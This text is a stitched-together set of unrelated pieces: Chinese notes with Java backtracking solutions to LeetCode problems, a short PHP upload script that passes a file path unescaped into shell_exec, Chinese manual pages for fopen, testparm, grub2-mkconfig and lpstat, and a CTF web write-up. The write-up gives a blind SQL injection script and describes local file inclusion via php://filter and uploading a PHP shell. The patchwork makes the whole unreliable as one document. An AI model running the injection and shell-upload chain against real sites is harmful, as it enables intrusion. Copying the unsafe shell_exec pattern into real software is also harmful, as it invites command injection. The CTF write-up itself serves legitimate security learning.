[Leetcode](https://leetcode.com/problems/restore-ip-addresses/description/) / [力扣](https://leetcode-cn.com/problems/restore-ip-addresses/description/)
```html
Given "25525511135",
return ["255.255.11.135", "255.255.111.35"].
```
```java
public List<String> restoreIpAddresses(String s) {
List<String> addresses = new ArrayList<>();
StringBuilder tempAddress = new StringBuilder();
doRestore(0, tempAddress, addresses, s);
return addresses;
}
private void doRestore(int k, StringBuilder tempAddress, List<String> addresses, String s) {
if (k == 4 || s.length() == 0) {
if (k == 4 && s.length() == 0) {
addresses.add(tempAddress.toString());
}
return;
}
for (int i = 0; i < s.length() && i <= 2; i++) {
if (i != 0 && s.charAt(0) == '0') {
break;
}
String part = s.substring(0, i + 1);
if (Integer.valueOf(part) <= 255) {
if (tempAddress.length() != 0) {
part = "." + part;
}
tempAddress.append(part);
doRestore(k + 1, tempAddress, addresses, s.substring(i + 1));
tempAddress.delete(tempAddress.length() - part.length(), tempAddress.length());
}
}
}
```
### 3. 在矩阵中寻找字符串
79\. Word Search (Medium)
[Leetcode](https://leetcode.com/problems/word-search/description/) / [力扣](https://leetcode-cn.com/problems/word-search/description/)
```html
For example,
Given board =
[
['A','B','C','E'],
['S','F','C','S'],
['A','D','E','E']
]
word = "ABCCED", -> returns true,
word = "SEE", -> returns true,
word = "ABCB", -> returns false.
```
```java
private final static int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
private int m;
private int n;
public boolean exist(char[][] board, String word) {
if (word == null || word.length() == 0) {
return true;
}
if (board == null || board.length == 0 || board[0].length == 0) {
return false;
}
m = board.length;
n = board[0].length;
boolean[][] hasVisited = new boolean[m][n];
for (int r = 0; r < m; r++) {
for (int c = 0; c < n; c++) {
if (backtracking(0, r, c, hasVisited, board, word)) {
return true;
}
}
}
return false;
}
private boolean backtracking(int curLen, int r, int c, boolean[][] visited, final char[][] board, final String word) {
if (curLen == word.length()) {
return true;
}
if (r < 0 || r >= m || c < 0 || c >= n
|| board[r][c] != word.charAt(curLen) || visited[r][c]) {
return false;
}
visited[r][c] = true;
for (int[] d : direction) {
if (backtracking(curLen + 1, r + d[0], c + d[1], visited, board, word)) {
return true;
}
}
visited[r][c] = false;
return false;
}
```
### 4. 输出二叉树中所有从根到叶子的路径
257\. Binary Tree Paths (Easy)
[Leetcode](https://leetcode.com/problems/binary-tree-paths/description/) / [力扣](https://leetcode-cn.com/problems/binary-tree-paths/description/)
```html
1
/ \
2 3
\
5
```
```html
["1->2->5", "1->3"]
```
```java
public List<String> binaryTreePaths(TreeNode root) {
List<String> paths = new ArrayList<>();
if (root == null) {
return paths;
}
List<Integer> values = new ArrayList<>();
backtracking(root, values, paths);
return paths;
}
private void backtracking(TreeNode node, List<Integer> values, List<String> paths) {
if (node == null) {
return;
}
values.add(node.val);
if (isLeaf(node)) {
paths.add(buildPath(values));
} else {
backtracking(node.left, values, paths);
backtracking(node.right, values, paths);
}
values.remove(values.size() - 1);
}
private boolean isLeaf(TreeNode node) {
return node.left == null && node.right == null;
}
private String buildPath(List<Integer> values) {
StringBuilder str = new StringBuilder();
for (int i = 0; i < values.size(); i++) {
str.append(values.get(i));
if (i != values.size() - 1) {
str.append("->");
}
}
return str.toString();
}
```
### 5. 排列
46\. Permutations (Medium)
[Leetcode](https://leetcode.com/problems/permutations/description/) / [力扣](https://leetcode-cn.com/problems/permutations/description/)
```html
[1,2,3] have the following permutations:
[
[1,2,3],
[1,3,2],
[2,1,3],
[2,3,1],
[3,1,2],
[3,2,1]
]
```
```java
public List<List<Integer>> permute(int[] nums) {
List<List<Integer>> permutes = new ArrayList<>();
List<Integer> permuteList = new ArrayList<>();
boolean[] hasVisited = new boolean[nums.length];
backtracking(permuteList, permutes, hasVisited, nums);
return permutes;
}
private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
if (permuteList.size() == nums.length) {
permutes.add(new ArrayList<>(permuteList)); // 重新构造一个 List
return;
}
for (int i = 0; i < visited.length; i++) {
if (visited[i]) {
continue;
}
visited[i] = true;
permuteList.add(nums[i]);
backtracking(permuteList, permutes, visited, nums);
permuteList.remove(permuteList.size() - 1);
visited[i] = false;
}
}
```
### 6. 含有相同元素求排列
47\. Permutations II (Medium)
[Leetcode](https://leetcode.com/problems/permutations-ii/description/) / [力扣](https://leetcode-cn.com/problems/permutations-ii/description/)
```html
[1,1,2] have the following unique permutations:
[[1,1,2], [1,2,1], [2,1,1]]
```
数组元素可能含有相同的元素,进行排列时就有可能出现重复的排列,要求重复的排列只返回一个。
在实现上,和 Permutations 不同的是要先排序,然后在添加一个元素时,判断这个元素是否等于前一个元素,如果等于,并且前一个元素还未访问,那么就跳过这个元素。
```java
public List<List<Integer>> permuteUnique(int[] nums) {
List<List<Integer>> permutes = new ArrayList<>();
List<Integer> permuteList = new ArrayList<>();
Arrays.sort(nums); // 排序
boolean[] hasVisited = new boolean[nums.length];
backtracking(permuteList, permutes, hasVisited, nums);
return permutes;
}
private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
if (permuteList.size() == nums.length) {
permutes.add(new ArrayList<>(permuteList));
return;
}
for (int i = 0; i < visited.length; i++) {
if (i != 0 && nums[i] == nums[i - 1] && !visited[i - 1]) {
continue; // 防止重复
}
if (visited[i]){
continue;
}
visited[i] = true;
permuteList.add(nums[i]);
backtracking(permuteList, permutes, visited, nums);
permuteList.remove(permuteList.size() - 1);
visited[i] = false;
}
}
```
### 7. 组合
77\. Combinations (Medium)
[Leetcode](https://leetcode.com/problems/combinations/description/) / [力扣](https://leetcode-cn.com/problems/combinations/description/)
```html
If n = 4 and k = 2, a solution is:
[
[2,4],
[3,4],
[2,3],
[1,2],
[1,3],
[1,4],
]
```
```java
public List<List<Integer>> combine(int n, int k) {
List<List<Integer>> combinations = new ArrayList<>();
List<Integer> combineList = new ArrayList<>();
backtracking(combineList, combinations, 1, k, n);
return combinations;
}
private void backtracking(List<Integer> combineList, List<List<Integer>> combinations, int start, int k, final int n) {
if (k == 0) {
combinations.add(new ArrayList<>(combineList));
return;
}
for (int i = start; i <= n - k + 1; i++) { // 剪枝
combineList.add(i);
backtracking(combineList, combinations, i + 1, k - 1, n);
combineList.remove(combineList.size() - 1);
}
}
```
### 8. 组合求和
39\. Combination Sum (Medium)
[Leetcode](https://leetcode.com/problems/combination-sum/description/) / [力扣](https://leetcode-cn.com/problems/combination-sum/description/)
```html
given candidate set [2, 3, 6, 7] and target 7,
A solution set is:
[[7],[2, 2, 3]]
```
```java
public List<List<Integer>> combinationSum(int[] candidates, int target) {
List<List<Integer>> combinations = new ArrayList<>();
backtracking(new ArrayList<>(), combinations, 0, target, candidates);
return combinations;
}
private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
int start, int target, final int[] candidates) {
if (target == 0) {
combinations.add(new ArrayList<>(tempCombination));
return;
}
for (int i = start; i < candidates.length; i++) {
if (candidates[i] <= target) {
tempCombination.add(candidates[i]);
backtracking(tempCombination, combinations, i, target - candidates[i], candidates);
tempCombination.remove(tempCombination.size() - 1);
}
}
}
```
### 9. 含有相同元素的组合求和
40\. Combination Sum II (Medium)
[Leetcode](https://leetcode.com/problems/combination-sum-ii/description/) / [力扣](https://leetcode-cn.com/problems/combination-sum-ii/description/)
```html
For example, given candidate set [10, 1, 2, 7, 6, 1, 5] and target 8,
A solution set is:
[
[1, 7],
[1, 2, 5],
[2, 6],
[1, 1, 6]
]
```
```java
public List<List<Integer>> combinationSum2(int[] candidates, int target) {
List<List<Integer>> combinations = new ArrayList<>();
Arrays.sort(candidates);
backtracking(new ArrayList<>(), combinations, new boolean[candidates.length], 0, target, candidates);
return combinations;
}
private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
boolean[] hasVisited, int start, int target, final int[] candidates) {
if (target == 0) {
combinations.add(new ArrayList<>(tempCombination));
return;
}
for (int i = start; i < candidates.length; i++) {
if (i != 0 && candidates[i] == candidates[i - 1] && !hasVisited[i - 1]) {
continue;
}
if (candidates[i] <= target) {
tempCombination.add(candidates[i]);
hasVisited[i] = true;
backtracking(tempCombination, combinations, hasVisited, i + 1, target - candidates[i], candidates);
hasVisited[i] = false;
tempCombination.remove(tempCombination.size() - 1);
}
}
}
```
### 10. 1-9 数字的组合求和
216\. Combination Sum III (Medium)
[Leetcode](https://leetcode.com/problems/combination-sum-iii/description/) / [力扣](https://leetcode-cn.com/problems/combination-sum-iii/description/)
```html
Input: k = 3, n = 9
Output:
[[1,2,6], [1,3,5], [2,3,4]]
```
从 1-9 数字中选出 k 个数不重复的数,使得它们的和为 n。
```java
public List<List<Integer>> combinationSum3(int k, int n) {
List<List<Integer>> combinations = new ArrayList<>();
List<Integer> path = new ArrayList<>();
backtracking(k, n, 1, path, combinations);
return combinations;
}
private void backtracking(int k, int n, int start,
List<Integer> tempCombination, List<List<Integer>> combinations) {
if (k == 0 && n == 0) {
combinations.add(new ArrayList<>(tempCombination));
return;
}
if (k == 0 || n == 0) {
return;
}
for (int i = start; i <= 9; i++) {
tempCombination.add(i);
backtracking(k - 1, n - i, i + 1, tempCombination, combinations);
tempCombination.remove(tempCombination.size() - 1);
}
}
```
### 11. 子集
78\. Subsets (Medium)
[Leetcode](https://leetcode.com/problems/subsets/description/) / [力扣](https://leetcode-cn.com/problems/subsets/description/)
找出集合的所有子集,子集不能重复,[1, 2] 和 [2, 1] 这种子集算重复
```java
public List<List<Integer>> subsets(int[] nums) {
List<List<Integer>> subsets = new ArrayList<>();
List<Integer> tempSubset = new ArrayList<>();
for (int size = 0; size <= nums.length; size++) {
backtracking(0, tempSubset, subsets, size, nums); // 不同的子集大小
}
return subsets;
}
private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets,
final int size, final int[] nums) {
if (tempSubset.size() == size) {
subsets.add(new ArrayList<>(tempSubset));
return;
}
for (int i = start; i < nums.length; i++) {
tempSubset.add(nums[i]);
backtracking(i + 1, tempSubset, subsets, size, nums);
tempSubset.remove(tempSubset.size() - 1);
}
}
```
### 12. 含有相同元素求子集
90\. Subsets II (Medium)
[Leetcode](https://leetcode.com/problems/subsets-ii/description/) / [力扣](https://leetcode-cn.com/problems/subsets-ii/description/)
```html
For example,
If nums = [1,2,2], a solution is:
[
[2],
[1],
[1,2,2],
[2,2],
[1,2],
[]
]
```
```java
public List<List<Integer>> subsetsWithDup(int[] nums) {
Arrays.sort(nums);
List<List<Integer>> subsets = new ArrayList<>();
List<Integer> tempSubset = new ArrayList<>();
boolean[] hasVisited = new boolean[nums.length];
for (int size = 0; size <= nums.length; size++) {
backtracking(0, tempSubset, subsets, hasVisited, size, nums); // 不同的子集大小
}
return subsets;
}
private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets, boolean[] hasVisited,
final int size, final int[] nums) {
if (tempSubset.size() == size) {
subsets.add(new ArrayList<>(tempSubset));
return;
}
for (int i = start; i < nums.length; i++) {
if (i != 0 && nums[i] == nums[i - 1] && !hasVisited[i - 1]) {
continue;
}
tempSubset.add(nums[i]);
hasVisited[i] = true;
backtracking(i + 1, tempSubset, subsets, hasVisited, size, nums);
hasVisited[i] = false;
tempSubset.remove(tempSubset.size() - 1);
}
}
```
### 13. 分割字符串使得每个部分都是回文数
131\. Palindrome Partitioning (Medium)
[Leetcode](https://leetcode.com/problems/palindrome-partitioning/description/) / [力扣](https://leetcode-cn.com/problems/palindrome-partitioning/description/)
```html
For example, given s = "aab",
Return
[
["aa","b"],
["a","a","b"]
]
```
```java
public List<List<String>> partition(String s) {
List<List<String>> partitions = new ArrayList<>();
List<String> tempPartition = new ArrayList<>();
doPartition(s, partitions, tempPartition);
return partitions;
}
private void doPartition(String s, List<List<String>> partitions, List<String> tempPartition) {
if (s.length() == 0) {
partitions.add(new ArrayList<>(tempPartition));
return;
}
for (int i = 0; i < s.length(); i++) {
if (isPalindrome(s, 0, i)) {
tempPartition.add(s.substring(0, i + 1));
doPartition(s.substring(i + 1), partitions, tempPartition);
tempPartition.remove(tempPartition.size() - 1);
}
}
}
private boolean isPalindrome(String s, int begin, int end) {
while (begin < end) {
if (s.charAt(begin++) != s.charAt(end--)) {
return false;
}
}
return true;
}
```
### 14. 数独
37\. Sudoku Solver (Hard)
[Leetcode](https://leetcode.com/problems/sudoku-solver/description/) / [力扣](https://leetcode-cn.com/problems/sudoku-solver/description/)
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0e8fdc96-83c1-4798-9abe-45fc91d70b9d.png"/> </div><br>
```java
private boolean[][] rowsUsed = new boolean[9][10];
private boolean[][] colsUsed = new boolean[9][10];
private boolean[][] cubesUsed = new boolean[9][10];
private char[][] board;
public void solveSudoku(char[][] board) {
this.board = board;
for (int i = 0; i < 9; i++)
for (int j = 0; j < 9; j++) {
if (board[i][j] == '.') {
continue;
}
int num = board[i][j] - '0';
rowsUsed[i][num] = true;
colsUsed[j][num] = true;
cubesUsed[cubeNum(i, j)][num] = true;
}
backtracking(0, 0);
}
private boolean backtracking(int row, int col) {
while (row < 9 && board[row][col] != '.') {
row = col == 8 ? row + 1 : row;
col = col == 8 ? 0 : col + 1;
}
if (row == 9) {
return true;
}
for (int num = 1; num <= 9; num++) {
if (rowsUsed[row][num] || colsUsed[col][num] || cubesUsed[cubeNum(row, col)][num]) {
continue;
}
rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = true;
board[row][col] = (char) (num + '0');
if (backtracking(row, col)) {
return true;
}
board[row][col] = '.';
rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = false;
}
return false;
}
private int cubeNum(int i, int j) {
int r = i / 3;
int c = j / 3;
return r * 3 + c;
}
```
### 15. N 皇后
51\. N-Queens (Hard)
[Leetcode](https://leetcode.com/problems/n-queens/description/) / [力扣](https://leetcode-cn.com/problems/n-queens/description/)
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/067b310c-6877-40fe-9dcf-10654e737485.jpg"/> </div><br>
在 n\*n 的矩阵中摆放 n 个皇后,并且每个皇后不能在同一行,同一列,同一对角线上,求所有的 n 皇后的解。
一行一行地摆放,在确定一行中的那个皇后应该摆在哪一列时,需要用三个标记数组来确定某一列是否合法,这三个标记数组分别为:列标记数组、45 度对角线标记数组和 135 度对角线标记数组。
45 度对角线标记数组的长度为 2 \* n - 1,通过下图可以明确 (r, c) 的位置所在的数组下标为 r + c。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9c422923-1447-4a3b-a4e1-97e663738187.jpg" width="300px"> </div><br>
135 度对角线标记数组的长度也是 2 \* n - 1,(r, c) 的位置所在的数组下标为 n - 1 - (r - c)。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7a85e285-e152-4116-b6dc-3fab27ba9437.jpg" width="300px"> </div><br>
```java
private List<List<String>> solutions;
private char[][] nQueens;
private boolean[] colUsed;
private boolean[] diagonals45Used;
private boolean[] diagonals135Used;
private int n;
public List<List<String>> solveNQueens(int n) {
solutions = new ArrayList<>();
nQueens = new char[n][n];
for (int i = 0; i < n; i++) {
Arrays.fill(nQueens[i], '.');
}
colUsed = new boolean[n];
diagonals45Used = new boolean[2 * n - 1];
diagonals135Used = new boolean[2 * n - 1];
this.n = n;
backtracking(0);
return solutions;
}
private void backtracking(int row) {
if (row == n) {
List<String> list = new ArrayList<>();
for (char[] chars : nQueens) {
list.add(new String(chars));
}
solutions.add(list);
return;
}
for (int col = 0; col < n; col++) {
int diagonals45Idx = row + col;
int diagonals135Idx = n - 1 - (row - col);
if (colUsed[col] || diagonals45Used[diagonals45Idx] || diagonals135Used[diagonals135Idx]) {
continue;
}
nQueens[row][col] = 'Q';
colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = true;
backtracking(row + 1);
colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = false;
nQueens[row][col] = '.';
}
}
```
|
sec-knowleage
|
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$size = shell_exec("identify -format '%w x %h' {$_FILES['file_upload']['tmp_name']}");
echo "Image size is: $size";
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
|
sec-knowleage
|
.\" Copyright (c) 1990, 1991 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" This code is derived from software contributed to Berkeley by
.\" Chris Torek and the American National Standards Committee X3,
.\" on Information Processing Systems.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" @(#)fopen.3 6.8 (Berkeley) 6/29/91
.\"
.\" Converted for Linux, Mon Nov 29 15:22:01 1993, faith@cs.unc.edu
.\" Modified, aeb, 960421, 970806
.\" Modified, joey, aeb, 2002-01-03
.\"
.TH FOPEN 3 2002-01-03 "BSD MANPAGE" "Linux Programmer's Manual"
.SH NAME
fopen, fdopen, freopen \- 打开流
.SH "SYNOPSIS 总览"
.B #include <stdio.h>
.sp
.BI "FILE *fopen(const char *" path ", const char *" mode );
.br
.BI "FILE *fdopen(int " fildes ", const char *" mode );
.br
.BI "FILE *freopen(const char *" path ", const char *" mode ", FILE *" stream );
.SH "DESCRIPTION 描述"
函数
.B fopen
打开文件名为
.I path
指向的字符串的文件,将一个流与它关联。
.PP
参数
.I mode
指向一个字符串,以下列序列之一开始
(序列之后可以有附加的字符):
.TP
.B r
打开文本文件,用于读。流被定位于文件的开始。
.TP
.B r+
打开文本文件,用于读写。流被定位于文件的开始。
.TP
.B w
将文件长度截断为零,或者创建文本文件,用于写。流被定位于文件的开始。
.TP
.B w+
打开文件,用于读写。如果文件不存在就创建它,否则将截断它。流被定位于文件的开始。
.TP
.B a
打开文件,用于追加 (在文件尾写)。如果文件不存在就创建它。流被定位于文件的末尾。
.TP
.B a+
打开文件,用于追加 (在文件尾写)。如果文件不存在就创建它。读文件的初始位置是文件的开始,但是输出总是被追加到文件的末尾。
.PP
字符串
.I mode
也可以包含字母 ``b'' 作为最后一个字符,或者插入到上面提到的任何双字符的字符串的两个字符中间。这样只是为了和 ANSI X3.159-1989 (``ANSI C'') 标准严格保持兼容,没有实际的效果;在所有的遵循 POSIX 的系统中,``b'' 都被忽略,包括 Linux。(其他系统可能将文本文件和二进制文件区别对待,如果在进行二进制文件的 I/O,那么添加 ``b'' 是个好主意,因为你的程序可能会被移植到非 Unix 环境中。)
.PP
任何新建的文件将具有模式
.BR S_IRUSR \&| S_IWUSR \&| S_IRGRP \&| S_IWGRP \&| S_IROTH \&| S_IWOTH
(0666),然后以进程的掩码值 umask 加以修改 (参见
.BR umask (2))
。
.PP
在读/写流上进行的读和写操作可以以任意的顺序混合使用。注意 ANSI C 要求文件定位函数只能插入在输出和输入之间,除非输入操作遇到了文件结束符。(如果没有遇到这种情况,那么读取总是能返回除了最近写入内容之外的结果。) 因此,最好 (在 Linux 中有时是必须的) 在对这样的流进行的写和读操作之间加入一个
.B fseek
或是
.B fgetpos
操作。这个操作可以是对显式的定位的调用 (例如在 \fIfseek(..., 0L, SEEK_CUR)\fR 中那样),利用同时发生的副作用。(?)
.PP
以追加方式打开文件 (以 \fBa\fP 作为
.IR mode
的第一个字符) 将使得所有后续的对这个流的写操作发生在文件末尾,就好像在写之前调用了
.RS
fseek(stream,0,SEEK_END);
.RE
一样。
.PP
函数
.B fdopen
将一个流关联到已存在的文件描述符,
.IR fildes .
流的模式
.I mode
(取值为 "r", "r+", "w", "w+", "a", "a+" 之一) 必须与文件描述符的模式想匹配。新的流的定位标识被设置为
.IR fildes
原有的值,错误和文件结束标记被清除。模式 "w" 或者 "w+" 不会截断文件。文件描述符不会被复制,在关闭由
.B fdopen
创建的流时,也不会被关闭。对共享内存对象实施
.B fdopen
的结果是未定义的。
.PP
函数
.B freopen
打开名称为
.I path
指向的字符串的文件,将它与
.I stream
指向的流关联。初始的流 (如果存在的话) 被关闭。参数
.I mode
与在函数
.B fopen
中用法一致。函数
.B freopen
主要的用处是改变与标准文本流
.IR "" ( stderr ", " stdin ", 或 " stdout )
相关联的文件
.SH "RETURN VALUE 返回值"
如果成功执行了
.BR fopen ,
.B fdopen
和
.B freopen
将返回一个指向文件对象
.B FILE
的指针。否则,将返回
.B NULL
并将设置全局变量
.I errno
的值来指示错误发生。
.SH ERRORS
.TP
.B EINVAL
为
.BR fopen ,
.BR fdopen ,
或
.B freopen
提供的参数
.I mode
非法。
.PP
函数
.BR fopen ,
.B fdopen
和
.B freopen
也有可能失败并置
.I errno
为
.BR malloc (3)
指定的值。
.PP
函数
.B fopen
也有可能失败并置
.I errno
为
.BR open (2)
指定的值。
.PP
函数
.B fdopen
也有可能失败并置
.I errno
为
.BR fcntl (2)
指定的值。
.PP
函数
.B freopen
也有可能失败并置
.I errno
为
.BR open (2),
.BR fclose (3)
和
.BR fflush (3)
指定的值。
.SH "CONFORMING TO 标准参考"
函数
.B fopen
和
.B freopen
遵循 ANSI X3.159-1989 (``ANSI C'') 标准。函数
.B fdopen
遵循 IEEE Std1003.1-1988 (``POSIX.1'') 标准。
.SH "SEE ALSO 参见"
.BR open (2),
.BR fclose (3),
.BR fileno (3)
|
sec-knowleage
|
grub2-mkconfig
===
生成 grub.cfg 配置文件。
## 语法
```shell
用法: grub2-mkconfig [OPTION]
生成 grub 配置文件
-o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout]
-h, --help 打印这个文件并退出
-v, --version 打印版本信息并退出
报告 Bug 通过 <bug-grub@gnu.org>.
```
## 实例
生成新的grub配置文件
```shell
grub2-mkconfig -o /boot/grub2/grub.cfg
# 或者
grub2-mkconfig > /boot/grub2/grub.cfg
```
|
sec-knowleage
|
.TH TESTPARM 1 "11 Nov 1999" "testparm 2.0.6"
.SH NAME
testparm \- 检查smb.conf配置文件的内部正确性
.PP
.SH 总览
.PP
testparm [-s] [-h] [-L servername] [configfilename] [hostname hostIP]
.PP
.SH 描述
.PP
此程序是samba套件的一部分。
.PP
testparm是个非常简单的程序,用于检查smbd配置文件的内部正确性。如果程序报告没有什么
问题,那么你可以放心地使用这个配置文件,并且smbd也会非常顺利地装入它。
.PP
注意,这并不保证配置文件中指定的服务可以获得或者如你所愿地那样进行操作。
.PP
如果在它的命令上指定可选的主机名和主机IP地址的话,测试程序将通过服务接口运行并报告是否
指定的主机可以访问每个服务。
.PP
如果testparm在smb.conf文件中找到一个错误的话,它会向调用程序返回退出代码1,否则返回
退出代码0。这样shell脚本可以测试testparm的输入。
.PP
.SH 选项
.PP
.IP
.IP "\fB-s\fP"
如果不带这个参数,testparm将提示在列出服务名和服务定义项之间打一个回车。
.IP
.IP "\fB-h\fP"
列出用法信息
.IP
.IP "\fB-L servername\fP"
对服务项名字设定%L这样的宏值。对于测试包含这样的宏值的文件非常有用。
.IP
.IP "\fBconfigfilename\fP"
指定要检查的配置文件名。如果不指定的话,程序对默认的smb.conf文件进行检查。
.IP
.IP "\fBhostname\fP"
如果命令行带有这个参数时,测试程序将检查smb.conf文件中的\(lqhosts
allow\(rq和\(lqhosts deny\(rq参数用以测试这些IP地址对应的主机名是否可以访
问smbd服务器。如果用这样的参数时,hostIP参数也必须一并使用。
.IP
.IP "\fBhostIP\fP"
这个参数用于指定前面给出的主机名相对应的IP地址。如上说述,主机名参数和这个地址必须一并
使用。
.PP
.SH 相关文件
.PP
smb.conf,通常这是smbd使用的配置文件名。
.SH 诊断
程序运行的结果将给出装入的配置文件是否正确的信息。如果文件没有被装入时可能显示的是错误和警
告信息。反之,装入文件正确的话,程序会在标准输出上列出所有可知的服务细节。
.SH 版本
.PP
此手册页是针对samba套件版本2.0的。
.SH 另见
.PP
\fBsmb\&.conf (5)\fP, \fBsmbd (8)\fP
.PP
.SH 作者
.PP
samba软件和相关工具最初由Andrew Tridgell samba-bugs@samba.org创建。samba现在由开发
组作为类似Linux内核开发采用的开放源代码计划方式来发展。
.PP
samba手册页最初由Karl Auer撰写。它的源码已被转换成YODL(一种极好的开放源代码软件,可以在
ftp://ftp.icce.rug.nl/pub/unix/处获得)格式并已由Jeremy Allison更新到samba2.0版本。
.PP
请参见samba (7)查找如何获得一份完整的维护者列表以及如何提交错误报告及注解等等。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
lpstat
===
显示CUPS中打印机的状态信息
## 补充说明
**lpstat命令** 用于显示CUPS中打印机的状态信息。
### 语法
```shell
lpstat(选项)
```
### 选项
```shell
-E:与打印机连接时加密;
-R:显示打印任务的等级;
-U:指定可选用户名;
-a:显示接受打印任务的打印机;
-c:显示打印机类;
-d:显示默认打印机;
-h:指定可选的服务器信息;
-l:显示长格式;
-p:显示指定打印机,以及打印机是否接受打印任务;
-s:显示汇总信息;
-t:显示所有的状态信息。
```
|
sec-knowleage
|
# V1rus3pidem1c (web 100)
## ENG
[PL](#pl-version)
In the task we get a webpage where we can select a country from dropdown and for some countries this shows us file upload form and for some of them it doesn't.
For example there is a form for `Germany` and no form for `Russia`.
The country name is passed as GET parameter in the query, and we decide to see what exactly is done with it.
A little bit of fuzzing tells us that it goes into some SQL query into where condition.
With classic `country=Russia' or '1'='1` we get a form for Germany, which means we managed to exploit the task with SQL Injection.
We tried a bit to get some echo here, but couldn't, so we simply switched to run Blind SQLi attack.
We got a simple oracle function:
```
import requests
session = requests.session()
def is_true(condition):
url = "http://tasks.ctf.com.ua:13372/index.php?country=Russia' or (%s) -- a" % condition
result = session.get(url)
return 'virus for Germany' in result.text
def main():
print(is_true("1=1"))
print(is_true("1=0"))
main()
```
And with this we can extract `Information_Schema.Tables` and `Information_Schema.Columns` data, with simple substring and byte-by-byte comparison using the oracle function.
This tells us there we have only a single user defined table and it contains only `countryID, countryName, scriptPath`.
Last parameter is especially interesting since it's an actual path to php script with form, which gets included on the page.
It's in form: `country/ge.php`, `country/tu.php` etc.
We could use our SQLi to include some other file by `index.php?country=' union select 'somefile.php' -- comment`, but we can't put any file on the server.
But since we control the include path we decided to check good old php wrappers and force the server to include: `php://filter/read=convert.base64-encode/resource=country/ge.php` and as expected we get a nice base64 contents of the php script.
It seems that the files uploaded by the form available for some countries actually get uploaded to the server!
We have there for example:
```php
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
/*echo $_FILES["fileToUpload"]["tmp_name"] ."\n";
var_dump($_FILES["fileToUpload"]);
var_dump(file_exists($_FILES["fileToUpload"]["tmp_name"]));
echo file_exists($target_file);*/
?>
```
So it's clear that we can use this form to upload a php shell to the server and then use SQLi to include it on the page and execute, because we know the file will be under `uploads/file_name`.
We proceed with this and find a hidden php file with flag: `h4ck1t{$QL&LFI=FR13ND$}`
## PL version
W zadaniu dostajemy link do strony internetowej gdzie możemy wybrać z listy jeden z krajów i dla niektórych pojawia się formularz uploadu plików a dla innych nie.
Na przykład dla `Germany` mamy formularz a dla `Russia` nie.
Nazwa kraju jest przesyłana jako parametr GET i spróbowaliśmy przetestować co się może dziać z tym parametrem.
Troche fuzzowania pokazało że parametr idzie bezpośrednio do query SQL do warunku where.
Klasycznym `country=Russia' or '1'='1` dostaliśmy formular dla Niemiec, co znaczy że mamy tam SQL Injection.
Próbowalismy dostać tam gdzieś echo, ale bez skutku, więc postanowiliśmy użyć Blind SQLi.
Przygotowalismy prostą funkcje:
```
import requests
session = requests.session()
def is_true(condition):
url = "http://tasks.ctf.com.ua:13372/index.php?country=Russia' or (%s) -- a" % condition
result = session.get(url)
return 'virus for Germany' in result.text
def main():
print(is_true("1=1"))
print(is_true("1=0"))
main()
```
